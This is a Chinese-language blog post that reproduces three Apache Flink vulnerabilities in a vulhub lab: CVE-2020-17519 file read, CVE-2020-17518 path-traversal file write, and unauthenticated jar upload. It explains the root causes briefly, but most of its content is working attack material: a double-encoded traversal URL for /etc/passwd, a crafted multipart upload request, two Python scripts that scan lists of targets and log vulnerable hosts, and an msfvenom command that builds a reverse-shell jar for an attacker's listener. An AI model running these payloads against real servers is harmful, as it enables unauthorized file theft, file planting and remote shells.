Flink简介
Apache Flink 是高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎(简单来说,就是跟spark类似)。Flink 具有监控 API,可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具
默认监听端口(web页面): 8081
flink web默认访问是不需要权限的。
flink的主要漏洞有下面的三个,可以上传jar getshell,任意文件读取,上传路径遍历
环境搭建
先搭建一个用来复现漏洞的环境,本次采用下面的环境来进行复现
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
首先下载这个项目,然后执行命令docker-compose up -d。安装以后正常启动docker。
访问8081页面,可以正常访问,说明环境正常
CVE-2020-17519 上传路径遍历读取任意文件
影响版本:1.11.0, 1.11.1, 1.11.2
Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
POC
http://url/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
传入经过两次url编码的../
漏洞截图
漏洞原因分析
任意读取文件过程中的两次 urldecode 比较有意思,第一次decode产生 path,path 再次decode并切割产生tokens,path 会被当作路由进行匹配,而tokens会被当作最终的函数参数。
org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile 代码如下
如上图,filename 是直接从 tokens 中取出,直接拼接到 logDir 父目录下,由于 token 经过 2 次 url 解码,所以能够正常获取到 ../../ ,从而进行跨目录读
检测脚本
来自网络
#!/usr/bin/env python # coding:utf-8 # author:B1anda0 #affected versions are Apache Flink 1.11.0-1.11.2 import requests,sys,colorama from colorama import * init(autoreset=True) banner='''\033[1;33;40m _______ ________ ___ ___ ___ ___ __ ______ _____ __ ___ / ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ |____ | ____/_ |/ _ \ | | \ \ / /| |__ ______ ) | | | | ) | | | |______| | / /| |__ | | (_) | | | \ \/ / | __|______/ /| | | |/ /| | | |______| | / / |___ \ | |\__, | | |____ \ / | |____ / /_| |_| / /_| |_| | | | / / ___) || | / / \_____| \/ |______| |____|\___/____|\___/ |_|/_/ |____/ |_| /_/ ''' def verify(): headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"} payload= '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd' poc=urls+payload try: requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告 response=requests.get(poc,headers=headers,timeout=15,verify=False) if response.status_code==200 and "root:x" in response.content: print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(urls)) print(response.content) #将漏洞地址输出在Vul.txt中 f=open('./vul.txt','a') f.write(urls) f.write('\n') else: print('\033[1;32;40m[-]{} None'.format(urls)) except: print('{} request timeout'.format(urls)) if __name__ == '__main__': print (banner) if len(sys.argv)!=2: print('Example:python CVE-2020-17519.py urls.txt') else: file = open(sys.argv[1]) for url in file.readlines(): urls=url.strip() if urls[-1]=='/': urls=urls[:-1] verify() print ('Check Over')
CVE-2020-17518 上传任意文件到指定目录
影响版本:1.5.1-1.11.2
Apache Flink 1.5.1引入了REST处理程序,该处理程序允许您通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。
POC
来自网络
POST /jars/upload HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Length: 187 ------WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success" success ------WebKitFormBoundaryoZ8meKnrrso89R6Y--
漏洞截图
返回报错,但是实际上传成功了
漏洞成因
触发点在 org.apache.flink.runtime.rest.FileUploadHandler#channelRead0 ,部分函数如下
如上图,fileUpload 是用户可控的内容,则 filename 也是可控的,所以可以修改 filename 进行跨目录写操作
检测脚本
#-*- coding:utf-8 -*- banner = """ 888888ba dP 88 `8b 88 a88aaaa8P' .d8888b. d8888P .d8888b. dP dP 88 `8b. 88' `88 88 Y8ooooo. 88 88 88 .88 88. .88 88 88 88. .88 88888888P `88888P8 dP `88888P' `88888P' ooooooooooooooooooooooooooooooooooooooooooooooooooooo @time:2021/01/06 CVE-2020-17518.py C0de by NebulabdSec - @batsu """ print(banner) import threadpool import random import requests import argparse import http.client import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) http.client.HTTPConnection._http_vsn = 10 http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' payload_CMD = '''test''' TARGET_URI = "/jars/upload'%2bsss" def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] ) return ua def CVE_2020_17518(url): proxies = {"http":"http://127.0.0.1:8080"} # proxies = {"scoks5": "http://127.0.0.1:1081"} paramsMultipart = [('jarfile', ('../../../../../tmp/test', "{}\r\n".format(payload_CMD), 'application/octet-stream'))] headers = { 'User-Agent': get_ua(), "Accept": "*/*" } targetUrl = url + TARGET_URI try: res = requests.post(targetUrl, files=paramsMultipart, headers=headers, timeout=15, verify=False, proxies=proxies) # proxies={'socks5': 'http://127.0.0.1:1081'}) if len(res.text) == 25 and "Not found" in res.text and "errors" in res.text: print("[+] URL:{}--------可能存在CVE-2020-17518漏洞".format(url)) with open("存在漏洞地址.txt", 'a') as fw: fw.write(url + '\n') else: print("[-] " + url + " 没有发现CVE-2020-17518漏洞.\n") except Exception as e: print(e) except: print("[-] " + url + " Request ERROR.\n") def multithreading(filename="ip.txt", pools=5): works = [] with open(filename, "r") as f: for i in f: func_params = [i.rstrip("\n")] works.append((func_params, None)) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(CVE_2020_17518, works) [pool.putRequest(req) for req in reqs] pool.wait() def main(): print("默认上传文件名为../../../../../tmp/test,内容为'''test'''") parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") parser.add_argument("-f", "--file", help="Url File; Example:url.txt") args = parser.parse_args() url = args.url file_path = args.file if url != None and file_path ==None: CVE_2020_17518(url) elif url == None and file_path != None: multithreading(file_path, 10) # 默认15线程 if __name__ == "__main__": main()
未授权访问&上传jar获取webshell
flink默认是没有访问权限的。该漏洞本质是一个反序列化漏洞,上传的jar会进行反序列化的操作。
影响版本:Apache Flink <= 1.9.1
漏洞复现
1.生成反弹jar包
msfvenom -p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444 -f jar > rce.jar
2.上传jar,并设置vps监听
3.点击sumbit就可以获取到webshell。我这台机器是高版本,报错没有获取到shell